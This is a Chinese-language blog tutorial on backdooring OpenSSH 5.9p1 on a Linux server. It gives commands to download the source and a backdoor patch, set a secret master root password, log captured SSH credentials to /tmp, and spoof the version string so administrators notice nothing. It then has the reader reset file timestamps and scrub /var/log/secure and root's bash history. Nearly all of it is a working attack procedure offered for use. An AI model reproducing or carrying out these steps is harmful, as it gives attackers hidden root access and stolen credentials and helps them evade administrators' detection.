为了避免在重编译SSH时出现问题,提前进行如下准备操作:

yum install -y zlib zlib-devel openssl openssl-devel pam-devel gcc patch

0x01 查看SSH版本

ssh -V
OpenSSH_5.3p1p1, OpenSSL 1.0.1e-fips 11 Feb 2013

0x02 下载openssh源码与后门文件

许多Blog里openssh的下载链接已经失效,以下链接本人的资源库里面提供的,亲测可用

源码文件: https://resource.0x50j.com/opensshbd/openssh-5.9p1.tar.gz 下载
后门文件: https://resource.0x50j.com/opensshbd/0x06-openssh-5.9p1.patch.tar.gz 下载

wget https://resource.0x50j.com/opensshbd/openssh-5.9p1.tar.gz
wget https://resource.0x50j.com/opensshbd/0x06-openssh-5.9p1.patch.tar.gz

0x03 备份原有ssh配置文件

cp -p /etc/ssh/sshd_config{,.bak}

0x04 编译安装openssh

1.解压文件

tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

2.复制后门文件至openssh源码

cp sshbd5.9p1.diff ../openssh-5.9p1

3.进入openssh源码进行patch

cd ../openssh-5.9p1
patch <sshbd5.9p1.diff

4.在openssh源码根目录编辑includes.h

vim includes.h
#define ILOG “/tmp/ilog”
#define OLOG “/tmp/olog”
#define SECRETPW “redkey”

ILOG用于记录登录本机的帐号,OLOG记录登录远程主机的SSH帐号
SECRETPW 为登录的root帐号密码,登录时用户名为root,密码为该处设置的密码

5.在openssh源码根目录编辑version.h

vim version.h
#define SSH_VERSION "OpenSSH_5.3p1"

""号的内容替换为第一步记录下的SSH版本,这一步只是为了避免SSH版本的变化引起管理员的注意。

0x05 编译安装

在openssh源码根目录进行如下操作

./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make && make install

0x06 还原sshd_config文件时间戳

cd /etc/ssh && touch -r sshd_config.bak ssh_config

0x07 重启SSH服务

service sshd reload

0x08 清除相关操作日志

清除该文件下含有sshd的行,同时可以把自己的IP填进去进行定点清除

sed -i "/sshd/d" /var/log/secure 

清除history操作记录

echo >/root/.bash_history 

如果还是不放心,可以下载Linux-Log-Eraser日志工具进行日志行踪spoof,关于Linux-Log-Eraser-1.0,有时间的话再写一个详细教程吧 ~ !!

Last modification:March 30th, 2020 at 12:55 am